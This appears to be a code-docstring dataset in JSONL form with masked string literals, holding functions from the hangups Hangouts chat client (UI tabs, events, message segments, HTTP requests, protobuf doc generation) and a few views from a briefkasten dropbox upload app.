{"signature": "def _on_event(self, _):", "body": "<EOL>self._set_title()<EOL>", "docstring": "Display a new conversation message.", "id": "f10036:c15:m7"}
{"signature": "def get_current_widget(self):", "body": "return self._widgets[self._tab_index]<EOL>", "docstring": "Return the widget in the current tab.", "id": "f10036:c16:m1"}
{"signature": "def _update_tabs(self):", "body": "text = []<EOL>for num, widget in enumerate(self._widgets):<EOL><INDENT>palette = ('<STR_LIT>' if num == self._tab_index<EOL>else '<STR_LIT>')<EOL>text += [<EOL>(palette, '<STR_LIT>'.format(self._widget_title[widget])),<EOL>('<STR_LIT>', '<STR_LIT:U+0020>'),<EOL>]<EOL><DEDENT>self._tabs.set_text(text)<EOL>self._frame.contents['<STR_LIT:body>'] = (self._widgets[self._tab_index], None)<EOL>", "docstring": "Update tab display.", "id": "f10036:c16:m2"}
{"signature": "def keypress(self, size, key):", "body": "key = super().keypress(size, key)<EOL>num_tabs = len(self._widgets)<EOL>if key == self._keys['<STR_LIT>']:<EOL><INDENT>self._tab_index = (self._tab_index - <NUM_LIT:1>) % num_tabs<EOL>self._update_tabs()<EOL><DEDENT>elif key == self._keys['<STR_LIT>']:<EOL><INDENT>self._tab_index = (self._tab_index + <NUM_LIT:1>) % num_tabs<EOL>self._update_tabs()<EOL><DEDENT>elif key == self._keys['<STR_LIT>']:<EOL><INDENT>if self._tab_index > <NUM_LIT:0>:<EOL><INDENT>curr_tab = self._widgets[self._tab_index]<EOL>self._widgets.remove(curr_tab)<EOL>del self._widget_title[curr_tab]<EOL>self._tab_index -= <NUM_LIT:1><EOL>self._update_tabs()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return key<EOL><DEDENT>", "docstring": "Handle keypresses for changing tabs.", "id": "f10036:c16:m3"}
{"signature": "def set_tab(self, widget, switch=False, title=None):", "body": "if widget not in self._widgets:<EOL><INDENT>self._widgets.append(widget)<EOL>self._widget_title[widget] = '<STR_LIT>'<EOL><DEDENT>if switch:<EOL><INDENT>self._tab_index = self._widgets.index(widget)<EOL><DEDENT>if title:<EOL><INDENT>self._widget_title[widget] = title<EOL><DEDENT>self._update_tabs()<EOL>", "docstring": "Add or modify a tab.\n\n        If widget is not a tab, it will be added. If switch is True, switch to\n        this tab. If title is given, set the tab's title.", "id": "f10036:c16:m4"}
{"signature": "def get_conv_name(conv, truncate=False, show_unread=False):", "body": "num_unread = len([conv_event for conv_event in conv.unread_events if<EOL>isinstance(conv_event, hangups.ChatMessageEvent) and<EOL>not conv.get_user(conv_event.user_id).is_self])<EOL>if show_unread and num_unread > <NUM_LIT:0>:<EOL><INDENT>postfix = '<STR_LIT>'.format(num_unread)<EOL><DEDENT>else:<EOL><INDENT>postfix = '<STR_LIT>'<EOL><DEDENT>if conv.name is not None:<EOL><INDENT>return conv.name + postfix<EOL><DEDENT>else:<EOL><INDENT>participants = sorted(<EOL>(user for user in conv.users if not user.is_self),<EOL>key=lambda user: user.id_<EOL>)<EOL>names = [user.first_name for user in participants]<EOL>if not participants:<EOL><INDENT>return \"<STR_LIT>\" + postfix<EOL><DEDENT>if len(participants) == <NUM_LIT:1>:<EOL><INDENT>return participants[<NUM_LIT:0>].full_name + postfix<EOL><DEDENT>elif truncate and len(participants) > <NUM_LIT:2>:<EOL><INDENT>return ('<STR_LIT:U+002CU+0020>'.join(names[:<NUM_LIT:2>] + ['<STR_LIT>'.format(len(names) - <NUM_LIT:2>)]) +<EOL>postfix)<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT:U+002CU+0020>'.join(names) + postfix<EOL><DEDENT><DEDENT>", "docstring": "Return a readable name for a conversation.\n\n    If the conversation has a custom name, use the custom name. Otherwise, for\n    one-to-one conversations, the name is the full name of the other user. For\n    group conversations, the name is a comma-separated list of first names. If\n    the group conversation is empty, the name is \"Empty Conversation\".\n\n    If truncate is true, only show up to two names in a group conversation.\n\n    If show_unread is True, if there are unread chat messages, show the number\n    of unread chat messages in parentheses after the conversation name.", "id": "f10037:m0"}
{"signature": "def add_color_to_scheme(scheme, name, foreground, background, palette_colors):", "body": "if foreground is None and background is None:<EOL><INDENT>return scheme<EOL><DEDENT>new_scheme = []<EOL>for item in scheme:<EOL><INDENT>if item[<NUM_LIT:0>] == name:<EOL><INDENT>if foreground is None:<EOL><INDENT>foreground = item[<NUM_LIT:1>]<EOL><DEDENT>if background is None:<EOL><INDENT>background = item[<NUM_LIT:2>]<EOL><DEDENT>if palette_colors > <NUM_LIT:16>:<EOL><INDENT>new_scheme.append((name, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', foreground, background))<EOL><DEDENT>else:<EOL><INDENT>new_scheme.append((name, foreground, background))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>new_scheme.append(item)<EOL><DEDENT><DEDENT>return new_scheme<EOL>", "docstring": "Add foreground and background colours to a color scheme", "id": "f10037:m1"}
{"signature": "def add_observer(self, callback):", "body": "if callback in self._observers:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>.format(callback, self))<EOL><DEDENT>self._observers.append(callback)<EOL>", "docstring": "Add an observer to this event.\n\n        Args:\n            callback: A function or coroutine callback to call when the event\n                is fired.\n\n        Raises:\n            ValueError: If the callback has already been added.", "id": "f10038:c0:m1"}
{"signature": "def remove_observer(self, callback):", "body": "if callback not in self._observers:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>.format(callback, self))<EOL><DEDENT>self._observers.remove(callback)<EOL>", "docstring": "Remove an observer from this event.\n\n        Args:\n            callback: A function or coroutine callback to remove from this\n                event.\n\n        Raises:\n            ValueError: If the callback is not an observer of this event.", "id": "f10038:c0:m2"}
{"signature": "async def fire(self, *args, **kwargs):", "body": "logger.debug('<STR_LIT>'.format(self))<EOL>for observer in self._observers:<EOL><INDENT>gen = observer(*args, **kwargs)<EOL>if asyncio.iscoroutinefunction(observer):<EOL><INDENT>await gen<EOL><DEDENT><DEDENT>", "docstring": "Fire this event, calling all observers with the same arguments.", "id": "f10038:c0:m3"}
{"signature": "@property<EOL><INDENT>def timestamp(self):<DEDENT>", "body": "return parsers.from_timestamp(self._event.timestamp)<EOL>", "docstring": "When the event occurred (:class:`datetime.datetime`).", "id": "f10039:c0:m1"}
{"signature": "@property<EOL><INDENT>def user_id(self):<DEDENT>", "body": "return user.UserID(chat_id=self._event.sender_id.chat_id,<EOL>gaia_id=self._event.sender_id.gaia_id)<EOL>", "docstring": "Who created the event (:class:`~hangups.user.UserID`).", "id": "f10039:c0:m2"}
{"signature": "@property<EOL><INDENT>def conversation_id(self):<DEDENT>", "body": "return self._event.conversation_id.id<EOL>", "docstring": "ID of the conversation containing the event (:class:`str`).", "id": "f10039:c0:m3"}
{"signature": "@property<EOL><INDENT>def id_(self):<DEDENT>", "body": "return self._event.event_id<EOL>", "docstring": "ID of this event (:class:`str`).", "id": "f10039:c0:m4"}
{"signature": "def __init__(self, text, segment_type=None,<EOL>is_bold=False, is_italic=False, is_strikethrough=False,<EOL>is_underline=False, link_target=None):", "body": "if segment_type is not None:<EOL><INDENT>self.type_ = segment_type<EOL><DEDENT>elif link_target is not None:<EOL><INDENT>self.type_ = hangouts_pb2.SEGMENT_TYPE_LINK<EOL><DEDENT>else:<EOL><INDENT>self.type_ = hangouts_pb2.SEGMENT_TYPE_TEXT<EOL><DEDENT>self.text = text<EOL>self.is_bold = is_bold<EOL>self.is_italic = is_italic<EOL>self.is_strikethrough = is_strikethrough<EOL>self.is_underline = is_underline<EOL>self.link_target = link_target<EOL>", "docstring": "Create a new chat message segment.", "id": "f10039:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def from_str(text):<DEDENT>", "body": "segment_list = chat_message_parser.parse(text)<EOL>return [ChatMessageSegment(segment.text, **segment.params)<EOL>for segment in segment_list]<EOL>", "docstring": "Construct :class:`ChatMessageSegment` list parsed from a string.\n\n        Args:\n            text (str): Text to parse. May contain line breaks, URLs and\n                formatting markup (simplified Markdown and HTML) to be\n                converted into equivalent segments.\n\n        Returns:\n            List of :class:`ChatMessageSegment` objects.", "id": "f10039:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def deserialize(segment):<DEDENT>", "body": "link_target = segment.link_data.link_target<EOL>return ChatMessageSegment(<EOL>segment.text, segment_type=segment.type,<EOL>is_bold=segment.formatting.bold,<EOL>is_italic=segment.formatting.italic,<EOL>is_strikethrough=segment.formatting.strikethrough,<EOL>is_underline=segment.formatting.underline,<EOL>link_target=None if link_target == '<STR_LIT>' else link_target<EOL>)<EOL>", "docstring": "Construct :class:`ChatMessageSegment` from ``Segment`` message.\n\n        Args:\n            segment: ``Segment`` message to parse.\n\n        Returns:\n            :class:`ChatMessageSegment` object.", "id": "f10039:c1:m2"}
{"signature": "def serialize(self):", "body": "segment = hangouts_pb2.Segment(<EOL>type=self.type_,<EOL>text=self.text,<EOL>formatting=hangouts_pb2.Formatting(<EOL>bold=self.is_bold,<EOL>italic=self.is_italic,<EOL>strikethrough=self.is_strikethrough,<EOL>underline=self.is_underline,<EOL>),<EOL>)<EOL>if self.link_target is not None:<EOL><INDENT>segment.link_data.link_target = self.link_target<EOL><DEDENT>return segment<EOL>", "docstring": "Serialize this segment to a ``Segment`` message.\n\n        Returns:\n            ``Segment`` message.", "id": "f10039:c1:m3"}
{"signature": "@property<EOL><INDENT>def text(self):<DEDENT>", "body": "lines = ['<STR_LIT>']<EOL>for segment in self.segments:<EOL><INDENT>if segment.type_ == hangouts_pb2.SEGMENT_TYPE_TEXT:<EOL><INDENT>lines[-<NUM_LIT:1>] += segment.text<EOL><DEDENT>elif segment.type_ == hangouts_pb2.SEGMENT_TYPE_LINK:<EOL><INDENT>lines[-<NUM_LIT:1>] += segment.text<EOL><DEDENT>elif segment.type_ == hangouts_pb2.SEGMENT_TYPE_LINE_BREAK:<EOL><INDENT>lines.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>'<EOL>.format(segment.type_))<EOL><DEDENT><DEDENT>lines.extend(self.attachments)<EOL>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Text of the message without formatting (:class:`str`).", "id": "f10039:c2:m0"}
{"signature": "@property<EOL><INDENT>def segments(self):<DEDENT>", "body": "seg_list = self._event.chat_message.message_content.segment<EOL>return [ChatMessageSegment.deserialize(seg) for seg in seg_list]<EOL>", "docstring": "List of :class:`ChatMessageSegment` in message (:class:`list`).", "id": "f10039:c2:m1"}
{"signature": "@property<EOL><INDENT>def attachments(self):<DEDENT>", "body": "raw_attachments = self._event.chat_message.message_content.attachment<EOL>if raw_attachments is None:<EOL><INDENT>raw_attachments = []<EOL><DEDENT>attachments = []<EOL>for attachment in raw_attachments:<EOL><INDENT>for embed_item_type in attachment.embed_item.type:<EOL><INDENT>known_types = [<EOL>hangouts_pb2.ITEM_TYPE_PLUS_PHOTO,<EOL>hangouts_pb2.ITEM_TYPE_PLACE_V2,<EOL>hangouts_pb2.ITEM_TYPE_PLACE,<EOL>hangouts_pb2.ITEM_TYPE_THING,<EOL>]<EOL>if embed_item_type not in known_types:<EOL><INDENT>logger.warning('<STR_LIT>'<EOL>'<STR_LIT>', embed_item_type)<EOL><DEDENT><DEDENT>if attachment.embed_item.HasField('<STR_LIT>'):<EOL><INDENT>attachments.append(<EOL>attachment.embed_item.plus_photo.thumbnail.image_url<EOL>)<EOL><DEDENT><DEDENT>return attachments<EOL>", "docstring": "List of attachments in the message (:class:`list`).", "id": "f10039:c2:m2"}
{"signature": "@property<EOL><INDENT>def new_otr_status(self):<DEDENT>", "body": "return self._event.otr_modification.new_otr_status<EOL>", "docstring": "The conversation's new OTR status.\n\n        May be either ``OFF_THE_RECORD_STATUS_OFF_THE_RECORD`` or\n        ``OFF_THE_RECORD_STATUS_ON_THE_RECORD``.", "id": "f10039:c3:m0"}
{"signature": "@property<EOL><INDENT>def old_otr_status(self):<DEDENT>", "body": "return self._event.otr_modification.old_otr_status<EOL>", "docstring": "The conversation's old OTR status.\n\n        May be either ``OFF_THE_RECORD_STATUS_OFF_THE_RECORD`` or\n        ``OFF_THE_RECORD_STATUS_ON_THE_RECORD``.", "id": "f10039:c3:m1"}
{"signature": "@property<EOL><INDENT>def new_name(self):<DEDENT>", "body": "return self._event.conversation_rename.new_name<EOL>", "docstring": "The conversation's new name (:class:`str`).\n\n        May be an empty string if the conversation's name was cleared.", "id": "f10039:c4:m0"}
{"signature": "@property<EOL><INDENT>def old_name(self):<DEDENT>", "body": "return self._event.conversation_rename.old_name<EOL>", "docstring": "The conversation's old name (:class:`str`).\n\n        May be an empty string if the conversation had no previous name.", "id": "f10039:c4:m1"}
{"signature": "@property<EOL><INDENT>def type_(self):<DEDENT>", "body": "return self._event.membership_change.type<EOL>", "docstring": "The type of membership change.\n\n        May be either ``MEMBERSHIP_CHANGE_TYPE_JOIN`` or\n        ``MEMBERSHIP_CHANGE_TYPE_LEAVE``.", "id": "f10039:c5:m0"}
{"signature": "@property<EOL><INDENT>def participant_ids(self):<DEDENT>", "body": "return [user.UserID(chat_id=id_.chat_id, gaia_id=id_.gaia_id)<EOL>for id_ in self._event.membership_change.participant_ids]<EOL>", "docstring": ":class:`~hangups.user.UserID` of users involved (:class:`list`).", "id": "f10039:c5:m1"}
{"signature": "@property<EOL><INDENT>def event_type(self):<DEDENT>", "body": "return self._event.hangout_event.event_type<EOL>", "docstring": "The Hangout event type.\n\n        May be one of ``HANGOUT_EVENT_TYPE_START``, ``HANGOUT_EVENT_TYPE_END``,\n        ``HANGOUT_EVENT_TYPE_JOIN``, ``HANGOUT_EVENT_TYPE_LEAVE``,\n        ``HANGOUT_EVENT_TYPE_COMING_SOON``, or ``HANGOUT_EVENT_TYPE_ONGOING``.", "id": "f10039:c6:m0"}
{"signature": "@property<EOL><INDENT>def new_status(self):<DEDENT>", "body": "return self._event.group_link_sharing_modification.new_status<EOL>", "docstring": "The new group link sharing status.\n\n        May be either ``GROUP_LINK_SHARING_STATUS_ON`` or\n        ``GROUP_LINK_SHARING_STATUS_OFF``.", "id": "f10039:c7:m0"}
{"signature": "def _get_authorization_headers(sapisid_cookie):", "body": "<EOL>time_msec = int(time.time() * <NUM_LIT:1000>)<EOL>auth_string = '<STR_LIT>'.format(time_msec, sapisid_cookie, ORIGIN_URL)<EOL>auth_hash = hashlib.sha1(auth_string.encode()).hexdigest()<EOL>sapisidhash = '<STR_LIT>'.format(time_msec, auth_hash)<EOL>return {<EOL>'<STR_LIT>': sapisidhash,<EOL>'<STR_LIT>': ORIGIN_URL,<EOL>'<STR_LIT>': '<STR_LIT:0>',<EOL>}<EOL>", "docstring": "Return authorization headers for API request.", "id": "f10041:m0"}
{"signature": "async def fetch(self, method, url, params=None, headers=None, data=None):", "body": "logger.debug('<STR_LIT>', method, url, data)<EOL>for retry_num in range(MAX_RETRIES):<EOL><INDENT>try:<EOL><INDENT>async with self.fetch_raw(method, url, params=params,<EOL>headers=headers, data=data) as res:<EOL><INDENT>async with async_timeout.timeout(REQUEST_TIMEOUT):<EOL><INDENT>body = await res.read()<EOL><DEDENT><DEDENT>logger.debug('<STR_LIT>',<EOL>res.status, res.reason, body)<EOL><DEDENT>except asyncio.TimeoutError:<EOL><INDENT>error_msg = '<STR_LIT>'<EOL><DEDENT>except aiohttp.ServerDisconnectedError as err:<EOL><INDENT>error_msg = '<STR_LIT>'.format(err)<EOL><DEDENT>except (aiohttp.ClientError, ValueError) as err:<EOL><INDENT>error_msg = '<STR_LIT>'.format(err)<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT>logger.info('<STR_LIT>', retry_num, error_msg)<EOL><DEDENT>else:<EOL><INDENT>logger.info('<STR_LIT>', MAX_RETRIES)<EOL>raise exceptions.NetworkError(error_msg)<EOL><DEDENT>if res.status != <NUM_LIT:200>:<EOL><INDENT>logger.info('<STR_LIT>',<EOL>res.status, res.reason)<EOL>raise exceptions.NetworkError(<EOL>'<STR_LIT>'<EOL>.format(res.status, res.reason)<EOL>)<EOL><DEDENT>return FetchResponse(res.status, body)<EOL>", "docstring": "Make an HTTP request.\n\n        Automatically uses configured HTTP proxy, and adds Google authorization\n        header and cookies.\n\n        Failures will be retried MAX_RETRIES times before raising NetworkError.\n\n        Args:\n            method (str): Request method.\n            url (str): Request URL.\n            params (dict): (optional) Request query string parameters.\n            headers (dict): (optional) Request headers.\n            data: (str): (optional) Request body data.\n\n        Returns:\n            FetchResponse: Response data.\n\n        Raises:\n            NetworkError: If the request fails.", "id": "f10041:c0:m1"}
{"signature": "def fetch_raw(self, method, url, params=None, headers=None, data=None):", "body": "<EOL>if not urllib.parse.urlparse(url).hostname.endswith('<STR_LIT>'):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>headers = headers or {}<EOL>headers.update(self._authorization_headers)<EOL>return self._session.request(<EOL>method, url, params=params, headers=headers, data=data,<EOL>proxy=self._proxy<EOL>)<EOL>", "docstring": "Make an HTTP request using aiohttp directly.\n\n        Automatically uses configured HTTP proxy, and adds Google authorization\n        header and cookies.\n\n        Args:\n            method (str): Request method.\n            url (str): Request URL.\n            params (dict): (optional) Request query string parameters.\n            headers (dict): (optional) Request headers.\n            data: (str): (optional) Request body data.\n\n        Returns:\n            aiohttp._RequestContextManager: ContextManager for a HTTP response.\n\n        Raises:\n            See ``aiohttp.ClientSession.request``.", "id": "f10041:c0:m2"}
{"signature": "async def close(self):", "body": "await self._session.close()<EOL>", "docstring": "Close the underlying aiohttp.ClientSession.", "id": "f10041:c0:m3"}
{"signature": "async def lookup_entities(client, args):", "body": "lookup_spec = _get_lookup_spec(args.entity_identifier)<EOL>request = hangups.hangouts_pb2.GetEntityByIdRequest(<EOL>request_header=client.get_request_header(),<EOL>batch_lookup_spec=[lookup_spec],<EOL>)<EOL>res = await client.get_entity_by_id(request)<EOL>for entity_result in res.entity_result:<EOL><INDENT>for entity in entity_result.entity:<EOL><INDENT>print(entity)<EOL><DEDENT><DEDENT>", "docstring": "Search for entities by phone number, email, or gaia_id.", "id": "f10045:m0"}
{"signature": "def _get_lookup_spec(identifier):", "body": "if identifier.startswith('<STR_LIT:+>'):<EOL><INDENT>return hangups.hangouts_pb2.EntityLookupSpec(<EOL>phone=identifier, create_offnetwork_gaia=True<EOL>)<EOL><DEDENT>elif '<STR_LIT:@>' in identifier:<EOL><INDENT>return hangups.hangouts_pb2.EntityLookupSpec(<EOL>email=identifier, create_offnetwork_gaia=True<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return hangups.hangouts_pb2.EntityLookupSpec(gaia_id=identifier)<EOL><DEDENT>", "docstring": "Return EntityLookupSpec from phone number, email address, or gaia ID.", "id": "f10045:m1"}
{"signature": "def run_example(example_coroutine, *extra_args):", "body": "args = _get_parser(extra_args).parse_args()<EOL>logging.basicConfig(level=logging.DEBUG if args.debug else logging.WARNING)<EOL>cookies = hangups.auth.get_auth_stdin(args.token_path)<EOL>client = hangups.Client(cookies)<EOL>loop = asyncio.get_event_loop()<EOL>task = asyncio.ensure_future(_async_main(example_coroutine, client, args),<EOL>loop=loop)<EOL>try:<EOL><INDENT>loop.run_until_complete(task)<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>task.cancel()<EOL>loop.run_until_complete(task)<EOL><DEDENT>finally:<EOL><INDENT>loop.close()<EOL><DEDENT>", "docstring": "Run a hangups example coroutine.\n\n    Args:\n        example_coroutine (coroutine): Coroutine to run with a connected\n            hangups client and arguments namespace as arguments.\n        extra_args (str): Any extra command line arguments required by the\n            example.", "id": "f10052:m0"}
{"signature": "def _get_parser(extra_args):", "body": "parser = argparse.ArgumentParser(<EOL>formatter_class=argparse.ArgumentDefaultsHelpFormatter,<EOL>)<EOL>dirs = appdirs.AppDirs('<STR_LIT>', '<STR_LIT>')<EOL>default_token_path = os.path.join(dirs.user_cache_dir, '<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>', default=default_token_path,<EOL>help='<STR_LIT>'<EOL>)<EOL>parser.add_argument(<EOL>'<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>'<EOL>)<EOL>for extra_arg in extra_args:<EOL><INDENT>parser.add_argument(extra_arg, required=True)<EOL><DEDENT>return parser<EOL>", "docstring": "Return ArgumentParser with any extra arguments.", "id": "f10052:m1"}
{"signature": "async def _async_main(example_coroutine, client, args):", "body": "<EOL>task = asyncio.ensure_future(client.connect())<EOL>on_connect = asyncio.Future()<EOL>client.on_connect.add_observer(lambda: on_connect.set_result(None))<EOL>done, _ = await asyncio.wait(<EOL>(on_connect, task), return_when=asyncio.FIRST_COMPLETED<EOL>)<EOL>await asyncio.gather(*done)<EOL>try:<EOL><INDENT>await example_coroutine(client, args)<EOL><DEDENT>except asyncio.CancelledError:<EOL><INDENT>pass<EOL><DEDENT>finally:<EOL><INDENT>await client.disconnect()<EOL>await task<EOL><DEDENT>", "docstring": "Run the example coroutine.", "id": "f10052:m2"}
{"signature": "def print_table(col_tuple, row_tuples):", "body": "col_widths = [max(len(str(row[col])) for row in [col_tuple] + row_tuples)<EOL>for col in range(len(col_tuple))]<EOL>format_str = '<STR_LIT:U+0020>'.join('<STR_LIT>'.format(col_width)<EOL>for col_width in col_widths)<EOL>header_border = '<STR_LIT:U+0020>'.join('<STR_LIT:=>' * col_width for col_width in col_widths)<EOL>print(header_border)<EOL>print(format_str.format(*col_tuple))<EOL>print(header_border)<EOL>for row_tuple in row_tuples:<EOL><INDENT>print(format_str.format(*row_tuple))<EOL><DEDENT>print(header_border)<EOL>print()<EOL>", "docstring": "Print column headers and rows as a reStructuredText table.\n\n    Args:\n        col_tuple: Tuple of column name strings.\n        row_tuples: List of tuples containing row data.", "id": "f10057:m0"}
{"signature": "def make_subsection(text):", "body": "return '<STR_LIT>'.format(text, '<STR_LIT:->' * len(text))<EOL>", "docstring": "Format text as reStructuredText subsection.\n\n    Args:\n        text: Text string to format.\n\n    Returns:\n        Formatted text string.", "id": "f10057:m1"}
{"signature": "def make_link(text):", "body": "return '<STR_LIT>'.format(text)<EOL>", "docstring": "Format text as reStructuredText link.\n\n    Args:\n        text: Text string to format.\n\n    Returns:\n        Formatted text string.", "id": "f10057:m2"}
{"signature": "def make_code(text):", "body": "return '<STR_LIT>'.format(text)<EOL>", "docstring": "Format text as reStructuredText code.\n\n    Args:\n        text: Text string to format.\n\n    Returns:\n        Formatted text string.", "id": "f10057:m3"}
{"signature": "def make_comment(text):", "body": "return '<STR_LIT>'.format(text)<EOL>", "docstring": "Format text as reStructuredText comment.\n\n    Args:\n        text: Text string to format.\n\n    Returns:\n        Formatted text string.", "id": "f10057:m4"}
{"signature": "def get_comment_from_location(location):", "body": "return textwrap.dedent(location.leading_comments or<EOL>location.trailing_comments)<EOL>", "docstring": "Return comment text from location.\n\n    Args:\n        location: descriptor_pb2.SourceCodeInfo.Location instance to get\n            comment from.\n\n    Returns:\n        Comment as string.", "id": "f10057:m5"}
{"signature": "def generate_enum_doc(enum_descriptor, locations, path, name_prefix='<STR_LIT>'):", "body": "print(make_subsection(name_prefix + enum_descriptor.name))<EOL>location = locations[path]<EOL>if location.HasField('<STR_LIT>'):<EOL><INDENT>print(textwrap.dedent(location.leading_comments))<EOL><DEDENT>row_tuples = []<EOL>for value_index, value in enumerate(enum_descriptor.value):<EOL><INDENT>field_location = locations[path + (<NUM_LIT:2>, value_index)]<EOL>row_tuples.append((<EOL>make_code(value.name),<EOL>value.number,<EOL>textwrap.fill(get_comment_from_location(field_location), INFINITY),<EOL>))<EOL><DEDENT>print_table(('<STR_LIT:Name>', '<STR_LIT>', '<STR_LIT>'), row_tuples)<EOL>", "docstring": "Generate doc for an enum.\n\n    Args:\n        enum_descriptor: descriptor_pb2.EnumDescriptorProto instance for enum\n            to generate docs for.\n        locations: Dictionary of location paths tuples to\n            descriptor_pb2.SourceCodeInfo.Location instances.\n        path: Path tuple to the enum definition.\n        name_prefix: Optional prefix for this enum's name.", "id": "f10057:m6"}
{"signature": "def generate_message_doc(message_descriptor, locations, path, name_prefix='<STR_LIT>'):", "body": "<EOL>prefixed_name = name_prefix + message_descriptor.name<EOL>print(make_subsection(prefixed_name))<EOL>location = locations[path]<EOL>if location.HasField('<STR_LIT>'):<EOL><INDENT>print(textwrap.dedent(location.leading_comments))<EOL><DEDENT>row_tuples = []<EOL>for field_index, field in enumerate(message_descriptor.field):<EOL><INDENT>field_location = locations[path + (<NUM_LIT:2>, field_index)]<EOL>if field.type not in [<NUM_LIT:11>, <NUM_LIT>]:<EOL><INDENT>type_str = TYPE_TO_STR[field.type]<EOL><DEDENT>else:<EOL><INDENT>type_str = make_link(field.type_name.lstrip('<STR_LIT:.>'))<EOL><DEDENT>row_tuples.append((<EOL>make_code(field.name),<EOL>field.number,<EOL>type_str,<EOL>LABEL_TO_STR[field.label],<EOL>textwrap.fill(get_comment_from_location(field_location), INFINITY),<EOL>))<EOL><DEDENT>print_table(('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'),<EOL>row_tuples)<EOL>nested_types = enumerate(message_descriptor.nested_type)<EOL>for index, nested_message_desc in nested_types:<EOL><INDENT>generate_message_doc(nested_message_desc, locations,<EOL>path + (<NUM_LIT:3>, index),<EOL>name_prefix=prefixed_name + '<STR_LIT:.>')<EOL><DEDENT>for index, nested_enum_desc in enumerate(message_descriptor.enum_type):<EOL><INDENT>generate_enum_doc(nested_enum_desc, locations, path + (<NUM_LIT:4>, index),<EOL>name_prefix=prefixed_name + '<STR_LIT:.>')<EOL><DEDENT>", "docstring": "Generate docs for message and nested messages and enums.\n\n    Args:\n        message_descriptor: descriptor_pb2.DescriptorProto instance for message\n            to generate docs for.\n        locations: Dictionary of location paths tuples to\n            descriptor_pb2.SourceCodeInfo.Location instances.\n        path: Path tuple to the message definition.\n        name_prefix: Optional prefix for this message's name.", "id": "f10057:m7"}
{"signature": "def compile_protofile(proto_file_path):", "body": "out_file = tempfile.mkstemp()[<NUM_LIT:1>]<EOL>try:<EOL><INDENT>subprocess.check_output(['<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', out_file,<EOL>proto_file_path])<EOL><DEDENT>except subprocess.CalledProcessError as e:<EOL><INDENT>sys.exit('<STR_LIT>'.format(e.returncode))<EOL><DEDENT>return out_file<EOL>", "docstring": "Compile proto file to descriptor set.\n\n    Args:\n        proto_file_path: Path to proto file to compile.\n\n    Returns:\n        Path to file containing compiled descriptor set.\n\n    Raises:\n        SystemExit if the compilation fails.", "id": "f10057:m8"}
{"signature": "def main():", "body": "parser = argparse.ArgumentParser()<EOL>parser.add_argument('<STR_LIT>')<EOL>args = parser.parse_args()<EOL>out_file = compile_protofile(args.protofilepath)<EOL>with open(out_file, '<STR_LIT:rb>') as proto_file:<EOL><INDENT>file_descriptor_set = descriptor_pb2.FileDescriptorSet.FromString(<EOL>proto_file.read()<EOL>)<EOL><DEDENT>for file_descriptor in file_descriptor_set.file:<EOL><INDENT>locations = {}<EOL>for location in file_descriptor.source_code_info.location:<EOL><INDENT>locations[tuple(location.path)] = location<EOL><DEDENT>print(make_comment('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>.format(args.protofilepath)))<EOL>for index, message_desc in enumerate(file_descriptor.message_type):<EOL><INDENT>generate_message_doc(message_desc, locations, (<NUM_LIT:4>, index))<EOL><DEDENT>for index, enum_desc in enumerate(file_descriptor.enum_type):<EOL><INDENT>generate_enum_doc(enum_desc, locations, (<NUM_LIT:5>, index))<EOL><DEDENT><DEDENT>", "docstring": "Parse arguments and print generated documentation to stdout.", "id": "f10057:m9"}
{"signature": "@fixture<EOL>def post_token_dropbox(dropbox_container, config, post_token):", "body": "from briefkasten import parse_post_token<EOL>return dropbox_container.get_dropbox(<EOL>parse_post_token(<EOL>post_token,<EOL>secret=config.registry.settings['<STR_LIT>']<EOL>)<EOL>)<EOL>", "docstring": "returns a dropbox instance matching the given post_token", "id": "f10063:m8"}
{"signature": "@view_config(<EOL>route_name='<STR_LIT>',<EOL>request_method='<STR_LIT:GET>',<EOL>renderer='<STR_LIT>')<EOL>def dropbox_form(request):", "body": "from briefkasten import generate_post_token<EOL>token = generate_post_token(secret=request.registry.settings['<STR_LIT>'])<EOL>return dict(<EOL>action=request.route_url('<STR_LIT>', token=token),<EOL>fileupload_url=request.route_url('<STR_LIT>', token=token),<EOL>**defaults(request))<EOL>", "docstring": "generates a dropbox uid and renders the submission form with a signed version of that id", "id": "f10069:m1"}
{"signature": "@view_config(<EOL>route_name='<STR_LIT>',<EOL>accept='<STR_LIT:application/json>',<EOL>renderer='<STR_LIT>',<EOL>request_method='<STR_LIT:POST>')<EOL>def dropbox_fileupload(dropbox, request):", "body": "attachment = request.POST['<STR_LIT>']<EOL>attached = dropbox.add_attachment(attachment)<EOL>return dict(<EOL>files=[dict(<EOL>name=attached,<EOL>type=attachment.type,<EOL>)]<EOL>)<EOL>", "docstring": "accepts a single file upload and adds it to the dropbox as attachment", "id": "f10069:m2"}
